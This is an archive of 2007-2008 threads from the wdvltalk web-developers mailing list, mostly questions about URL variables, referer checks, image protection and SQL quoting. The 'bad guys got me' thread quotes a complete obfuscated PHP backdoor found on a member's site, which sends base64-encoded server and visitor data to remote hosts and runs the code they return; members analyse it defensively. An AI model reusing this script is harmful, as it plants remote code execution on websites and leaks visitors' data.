On Sun, Oct 19, 2008 at 4:58 PM, steve miller <[EMAIL PROTECTED]>  
wrote:


In this way, school members log into edline first with a username  
and pw,

then they see the link to the private site.


So, I'm hoping I understand this correctly -- the edline site is  
password
protected but the other site isn't? You're just trying to keep it  
on the QT,

i.e., security though obscurity?


yep.





So...I was hoping that somehow I could accept the variable but  
hide it by

re-writing the url.
Is something like that possible?


No. Anything in the query string is visible, period, even if  
obfuscated.


Darn.




If you want to keep your "internal" site private, you need to password
protect it.



The main info on the site is pw protected, but I'm hoping to increase  
security and settle some parents' anxiety by hiding it all together.  
It has trip signup info, contact info, pictures... and they don't  
want predators lurking.


steve



 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] url rewrite help needed

2008-10-19 Thread steve miller

Hi Sheila.

Guess I'm being thick here, but wouldn't the logged in visitor still  
see the url to the intermediate script?
Or are you thinking it will happen so fast that they won't be able to  
read it?


steve


On Oct 19, 2008, at 8:28 PM, Sheila Fenelon wrote:


steve miller wrote:

Guess I need to give more info.
This is a private site that the school does not want accessed via the
open web.
They don't have an intranet, so what we are doing is making it only
available through a site that they contract (edline.net).
In this way, school members log into edline first with a username and
pw, then they see the link to the private site.

In order to keep general web visitors from even seeing the home  
page, I

am requiring a certain variable be present. If the variable is not
present, we re-direct to the school site which is public.

So the problem is that I don't even want the members to see the
variable, or it might unintentionally get out.
I don't even want them to know that a variable is being passed. If  
they
see the id in the url, they might pass it on and the result is the  
same.


So...I was hoping that somehow I could accept the variable but  
hide it

by re-writing the url.
Is something like that possible?



How about this? Use an intermediate script. The script that checks for
the variable sets a cookie and then redirects to the protected  
page. The

protected page checks for the cookie. If either check fails they
redirect to the public site.

Sheila
--
http://www.shefen.com/




 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] url rewrite help needed

2008-10-19 Thread steve miller

Guess I need to give more info.
This is a private site that the school does not want accessed via the  
open web.
They don't have an intranet, so what we are doing is making it only  
available through a site that they contract (edline.net).
In this way, school members log into edline first with a username and  
pw, then they see the link to the private site.


In order to keep general web visitors from even seeing the home page,  
I am requiring a certain variable be present. If the variable is not  
present, we re-direct to the school site which is public.


So the problem is that I don't even want the members to see the  
variable, or it might unintentionally get out.
I don't even want them to know that a variable is being passed. If  
they see the id in the url, they might pass it on and the result is  
the same.


So...I was hoping that somehow I could accept the variable but hide  
it by re-writing the url.

Is something like that possible?

steve



OK, got it. If it were me, I'd probably just put the values in  
question in

a lookup table with an associated ID and put the ID in the URL.

Since the relationship of the ID and value is arbitrary, there's no  
way
to derive the value (without following the link, at which point I'd  
think

it would be apparent, but maybe not).

Anyway, HTH!

H*
--
Hassan Schroeder  [EMAIL PROTECTED]



 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] url rewrite help needed

2008-10-19 Thread steve miller

Hi Hassan.

The other site is a commercial site that our school uses (edline.net)  
and they (so far) are only allowing us to post links on their site,  
not forms. Since I am not the school's contact with edline, I can't  
ask directly, and the person who is the contact is not being very  
helpful.


If I had server or site access (or just a helpful tech), I could do  
lots of things, but no luck. So, I am stuck with a simple url and I'd  
like to hide the variable being sent.


steve


On Oct 19, 2008, at 12:58 PM, Hassan Schroeder wrote:

On Sun, Oct 19, 2008 at 9:10 AM, steve miller <[EMAIL PROTECTED]>  
wrote:


I am sending a variable from one site to another via a url string  
because I

don't have access to send it as a form post variable.
Thus, the variable is viewable, like index.html?this=that.

I'd like to hide the variable value. Is it possible to send this  
string, but

have it show in the url bar as something else, like index.html or
index.html?this=gibberish so no one can easily see what I am sending?


You can encrypt the value, as long as the other server processing
the request knows how to unencrypt it.

But why exactly can't you just post it?

--
Hassan Schroeder  [EMAIL PROTECTED]



 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] url rewrite help needed

2008-10-19 Thread steve miller

Hi all.

Could use some help with a url rewrite, if possible...

I am sending a variable from one site to another via a url string  
because I don't have access to send it as a form post variable.

Thus, the variable is viewable, like index.html?this=that.

I'd like to hide the variable value. Is it possible to send this  
string, but have it show in the url bar as something else, like  
index.html or index.html?this=gibberish so no one can easily see what  
I am sending?



Thanks!

Steve


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] http_referer

2008-09-30 Thread steve miller

Guess I should have looked :o)

There is someone else at the school who normally interacts with  
edline, and she said she could only add links.

Guess I'll have to dig in a little...

Thanks again.


On Sep 30, 2008, at 12:52 PM, David Precious wrote:


steve miller wrote:

Kind of thought so.
The linking site is a large institutional site that I'm sure will  
not allow me that kind of access.
The only thing I can put on it is a link; might be able to put up  
a form with a hidden variable, but I doubt it.


Their site proclaims that they offer "custom integration  
assistance", so perhaps they'd be willing to help?


I'm sure you're not the first people wanting to do something like  
this :)




 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] http_referer

2008-09-30 Thread steve miller

Kind of thought so.
The linking site is a large institutional site that I'm sure will not  
allow me that kind of access.
The only thing I can put on it is a link; might be able to put up a  
form with a hidden variable, but I doubt it.


Thanks for the idea.

steve



On Sep 30, 2008, at 12:37 PM, David Precious wrote:


steve miller wrote:
I am building a site for our school that handles signups for trips  
and such, and we want it to be accessible only from within another  
site that has a secure login. In other words, we don't want it  
accessible from search engine links or direct urls. The other site  
(edline.com) is not owned by us so I can't access user info, but  
we can place links on it.
I was thinking of looking for the correct http_referer coming in,  
but I've been told some browsers and/or firewalls might block it  
from being passed. Any thoughts on how else to confirm the link  
came in from the right place?


You can't rely on it being passed to you, and you also can't rely  
on it being correct; it's trivial to spoof.


There's not much in the way of secure methods to validate it that I  
can think of that wouldn't require the co-operation of the other site.


With enough access to the other site to place server-side scripts  
on it, you could probably come up with something that redirects the  
user to your site, along with a "token" calculated by, say, the  
user's IP along with a secret key known by both sites - your new  
site could then validate that the token looks correct, and start a  
session indicating that the user is valid.




 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] http_referer

2008-09-30 Thread steve miller

Hi all.

I am building a site for our school that handles signups for trips  
and such, and we want it to be accessible only from within another  
site that has a secure login. In other words, we don't want it  
accessible from search engine links or direct urls. The other site  
(edline.com) is not owned by us so I can't access user info, but we  
can place links on it.


I was thinking of looking for the correct http_referer coming in, but  
I've been told some browsers and/or firewalls might block it from  
being passed. Any thoughts on how else to confirm the link came in  
from the right place?


Thanks,
Steve


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] hide image source

2008-08-10 Thread steve miller


On Aug 9, 2008, at 8:51 PM, David Precious wrote:


So, think there is a way to do the background="image.php" kind of  
thing?


Yep - the browser doesn't care what kind of URL you give it for the  
background image - if it's an URL which, when requested, returns a  
usable image, then it's all good :)




Actually, Sheila suggested using a full http request vs the relative  
link, and that worked!


Thanks.

 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] hide image source

2008-08-09 Thread steve miller
Wow: simple!!
Thanks!!


On Aug 9, 2008, at 11:01 AM, Sheila Fenelon wrote:

> steve miller wrote:
>>
>> So, think there is a way to do the background="image.php" kind of  
>> thing?
>>
>
> Try using the complete URL for image.php, starting with http://
> That should turn it into a request to the server, which should make  
> the
> PHP code run.
>
> Sheila
> --
> http://www.shefen.com/
>
>  • The WDVL Discussion List from WDVL.COM • 
> To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] 
> dl.sparklist.com or
> use the web interface http://e-newsletters.internet.com/ 
> discussionlists.html/
>Send Your Posts To: wdvltalk@lists.wdvl.com
> To change subscription settings, add a password or view the web  
> interface:
> http://intm-dl.sparklist.com/read/?forum=wdvltalk
>
>   http://www.wdvl.com  ___
>
> You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
> To unsubscribe send a blank email to  
> [EMAIL PROTECTED]
> To unsubscribe via postal mail, please contact us at:
> Jupitermedia Corp.
> Attn: Discussion List Management
> 475 Park Avenue South
> New York, NY 10016
>
> Please include the email address which you have been contacted with.
>


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
   Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] hide image source

2008-08-09 Thread steve miller



On Aug 9, 2008, at 9:44 AM, David Precious wrote:

steve miller wrote:

Could use some help with hiding an image source:
Doing a photographer site without flash, and trying to make it as  
difficult to get to a filename as possible.
I have used php files to generate images using the image tag, like  
, but even if I disable "right clicking" it  
is easy to drag these to the desktop with a mac.
My thought was to put these as a table background (which makes it  
impossible to drag) leaving only a screenshot as the way to steal.

Problem is that using background="image.php" doesn't seem to work...
Any thoughts?


You're fighting a losing battle, you can't stop it, by definition:  
if the browser can download it to display it, the user can download/ 
save it.


Even if you were doing it within Flash, it's still trivial to use a  
browser plugin like Tamper Data (for Firefox) to watch all the  
requests being made, you'll see the request for the image, and you  
can just click "replay in browser" to make that request again to  
download it.


I'm assuming you don't want people to download the full image  
without paying or something?  Why not just watermark the images,  
and provide the original, un-watermarked images in an area that  
requires a login or something?



Hi David.

I know you're right about the "losing battle", but I'm just trying to  
make it harder on the casual snoopers who "view source" and take the  
photos.
We are already using a login section and I have asked the site owner  
to watermark, but since she's concerned that clients will pass around  
the login info so others can preview the photos before purchase,  
which tends to increase the opportunity to take. I don't think any of  
them would have the means or skill to use plugins to view requests,  
so I thought hiding the url would be enough.


So, think there is a way to do the background="image.php" kind of thing?

steve


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] hide image source

2008-08-09 Thread steve miller



Hi all.

Could use some help with hiding an image source:

Doing a photographer site without flash, and trying to make it as  
difficult to get to a filename as possible.
I have used php files to generate images using the image tag, like  
, but even if I disable "right clicking" it is  
easy to drag these to the desktop with a mac.
My thought was to put these as a table background (which makes it  
impossible to drag) leaving only a screenshot as the way to steal.

Problem is that using background="image.php" doesn't seem to work...

Any thoughts?

Thanks,
steve

 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] query help correction

2008-07-08 Thread steve miller

I'm sorry, but my last post should have said MS sql and not mysql!

thanks!

steve

 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] mysql query help needed

2008-07-08 Thread steve miller


I am working with an existing database table that holds user  
information identified by strange id strings. The id strings are  
created by another application, so I can not change them, but I need  
to be able to query the table using them as reference. Each ID is a 3  
character string like:


!#^
$%"
!!"
#"&

etc.

The problem I am having is when I try to search for a user with a  
string that has a ' or a " in it, because the sql throws an error.

The id inserted into the query, so I end up with something like:


select * from table where id=!&" and mysql complains!

Is there any way to write this so that mysql will accept it?
If not, I'll have to pull all info and hold in arrays for comparison,  
which I'd rather not do...


Thanks for any ideas :)

steve

 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] bad guys got me

2008-06-17 Thread steve miller

Thanks David.

I did some reading already as Sheila suggested, and found one  
vulnerability that I sent on to my host.
This stuff twists my stomach, but I guess is "learning the hard way"...

steve




On Jun 17, 2008, at 3:54 PM, David Precious wrote:

> steve miller wrote:
>> Wow
>> Thanks Sheila.
>> This script was loaded into many directories, some of which did  
>> not  start out writeable. Could someone have changed all my  
>> permissions
> > and then insert this?
>
> I suspect the directories were writable as the user the webserver  
> runs as, and a vulnerability in one of your scripts was exploited  
> to get the file on the server.
>
>> What kind of hidden links should I look for, and what might they do?
>
> Most likely commented-out blocks of links to dodgy places, do a  
> view source on your pages and look for anything that shouldn't be  
> there.
>
> Also, they might have created a .htaccess file which causes non- 
> existent URLs to be handled by passing them to a script they've  
> uploaded.
>
> Have a read of the discussion on the URL Sheila posted, and do some  
> Googling yourself for rssnews.ws, that should give you a good idea  
> of what to look for.
>
> Cheers
>
> Dave P
>
>
>
>  • The WDVL Discussion List from WDVL.COM • 
> To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] 
> dl.sparklist.com or
> use the web interface http://e-newsletters.internet.com/ 
> discussionlists.html/
>   Send Your Posts To: wdvltalk@lists.wdvl.com
> To change subscription settings, add a password or view the web  
> interface:
> http://intm-dl.sparklist.com/read/?forum=wdvltalk
>
>   http://www.wdvl.com  ___
>
> You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
> To unsubscribe send a blank email to  
> [EMAIL PROTECTED]
> To unsubscribe via postal mail, please contact us at:
> Jupitermedia Corp.
> Attn: Discussion List Management
> 475 Park Avenue South
> New York, NY 10016
>
> Please include the email address which you have been contacted with.
>


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
   Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] bad guys got me

2008-06-17 Thread steve miller
Wow

Thanks Sheila.

This script was loaded into many directories, some of which did not  
start out writeable.
Could someone have changed all my permissions and then insert this?

What kind of hidden links should I look for, and what might they do?

:



On Jun 17, 2008, at 2:18 PM, Sheila Fenelon wrote:

> I decoded some of the strings in the script and found
> http://7.rssnews.ws
> Googling for 7.rssnews.ws yields this discussion
>
> http://forums.oscommerce.com/lofiversion/index.php?t301350.html
>
> It's an OsCommerce forum but I don't think this is necessarily an  
> OsCommerce problem. You apparently have writable directory  
> somewhere. The code is used to add hidden links to pages.
>
> Googling for rssnews.ws provides more links.
>
> Timestamps and server logs will tell you more about what happened.  
> If you haven't done so already, you should notify your host.
>
>
> Sheila
>
>
> steve miller wrote:
>> Hello...
>> I just found a bad script on my website :(
>> Can anyone here tell me what they might have stolen?
>> Here is the script:
>> error_reporting(0);$s="e";$a=(isset($_SERVER["HTTP_HOST"]) ?  
>> $_SERVER["HTTP_HOST"] : $HTTP_HOST);$b=(isset($_SERVER 
>> ["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);$c= 
>> (isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] :  
>> $REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER 
>> ["PHP_SELF"] : $PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"]) ?  
>> $_SERVER["QUERY_STRING"] : $QUERY_STRING);$f=(isset($_SERVER 
>> ["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);$g= 
>> (isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER 
>> ["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);$h=(isset($_SERVER 
>> ["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);$i= 
>> (isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER 
>> ["SCRIPT_FILENAME"] : $SCRIPT_FILENAME);$j=(isset($_SERVER 
>> ["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] :  
>> $HTTP_ACCEPT_LANGUAGE);$str=base64_encode($a).".".base64_encode 
>> ($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode 
>> ($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode 
>> ($h).".$s.".base64_encode($i).".".base64_encode($j); if ((include 
>> (base64_decode("aHR0cDovLw==").base64_decode 
>> ("d3d3My5yc3NuZXdzLndz")."/?".$str))){} else if (include 
>> (base64_decode("aHR0cDovLw==").base64_decode 
>> ("d3d3My54bWxkYXRhLmluZm8=")."/?".$str));else if  
>> ($c=file_get_contents(base64_decode 
>> ("aHR0cDovLzcucnNzbmV3cy53cy8/").$str))eval($c);else{$cu=curl_init 
>> (base64_decode("aHR0cDovLzcucnNzbmV3cy53cy8/").$str);curl_setopt 
>> ($cu,CURLOPT_RETURNTRANSFER,1);$str=curl_exec($cu);curl_close 
>> ($cu);eval($str);};
>
>
>
>  • The WDVL Discussion List from WDVL.COM • 
> To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] 
> dl.sparklist.com or
> use the web interface http://e-newsletters.internet.com/ 
> discussionlists.html/
>   Send Your Posts To: wdvltalk@lists.wdvl.com
> To change subscription settings, add a password or view the web  
> interface:
> http://intm-dl.sparklist.com/read/?forum=wdvltalk
>
>   http://www.wdvl.com  ___
>
> You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
> To unsubscribe send a blank email to  
> [EMAIL PROTECTED]
> To unsubscribe via postal mail, please contact us at:
> Jupitermedia Corp.
> Attn: Discussion List Management
> 475 Park Avenue South
> New York, NY 10016
>
> Please include the email address which you have been contacted with.
>


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
   Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] bad guys got me

2008-06-17 Thread steve miller


Hello...

I just found a bad script on my website :(

Can anyone here tell me what they might have stolen?

Here is the script:


error_reporting(0);$s="e";$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER 
["HTTP_HOST"] : $HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"]) ?  
$_SERVER["SERVER_NAME"] : $SERVER_NAME);$c=(isset($_SERVER 
["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);$d=(isset 
($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);$e=(isset 
($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] :  
$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER 
["HTTP_REFERER"] : $HTTP_REFERER);$g=(isset($_SERVER 
["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] :  
$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER 
["REMOTE_ADDR"] : $REMOTE_ADDR);$i=(isset($_SERVER 
["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] :  
$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ?  
$_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE); 
$str=base64_encode($a).".".base64_encode($b).".".base64_encode 
($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode 
($f).".".base64_encode($g).".".base64_encode($h).".$s.".base64_encode 
($i).".".base64_encode($j); if ((include(base64_decode 
("aHR0cDovLw==").base64_decode("d3d3My5yc3NuZXdzLndz")."/?".$str))){}  
else if (include(base64_decode("aHR0cDovLw==").base64_decode 
("d3d3My54bWxkYXRhLmluZm8=")."/?".$str));else if ($c=file_get_contents 
(base64_decode("aHR0cDovLzcucnNzbmV3cy53cy8/").$str))eval($c);else 
{$cu=curl_init(base64_decode("aHR0cDovLzcucnNzbmV3cy53cy8/"). 
$str);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$str=curl_exec 
($cu);curl_close($cu);eval($str);};



steve

 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] encryption help

2007-09-14 Thread steve miller

I could be missing something, but I'm not seeing where you are going.
Whether the pw's are in one table or 2, the user will have to go to 2  
different apps to make changes to his/her pw.
This is because we don't know how to create one portal where you  
enter a new pw and have it sent to the old app and to the new app.


steve




On Sep 14, 2007, at 12:09 PM, Sheila Fenelon wrote:


Can you add a field to the current table?

Sheila

steve miller wrote:

Hi Sheila.
I'll ask him but I think it's because then we have to maintain 2  
tables in 2 different databases.
The IT guy has them go into the present system every few months to  
change pw's, and it's one more place they have to go.

steve
On Sep 14, 2007, at 11:39 AM, Sheila Fenelon wrote:

steve miller wrote:
The person passing the task to me is an IT person who is in  
charge of all security issues at the company, and he is usually  
very strict about confidentiality and legality. He also has all  
of the plain text versions of the passwords as well as the  
encrypted versions.


If you already have the plain text passwords why do you need to  
break the encryption? Just use them to populate a parallel login  
table for the new application.


--Sheila
http://www.shefen.com/






 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] encryption help

2007-09-14 Thread steve miller

Hi Sheila.
I'll ask him but I think it's because then we have to maintain 2  
tables in 2 different databases.
The IT guy has them go into the present system every few months to  
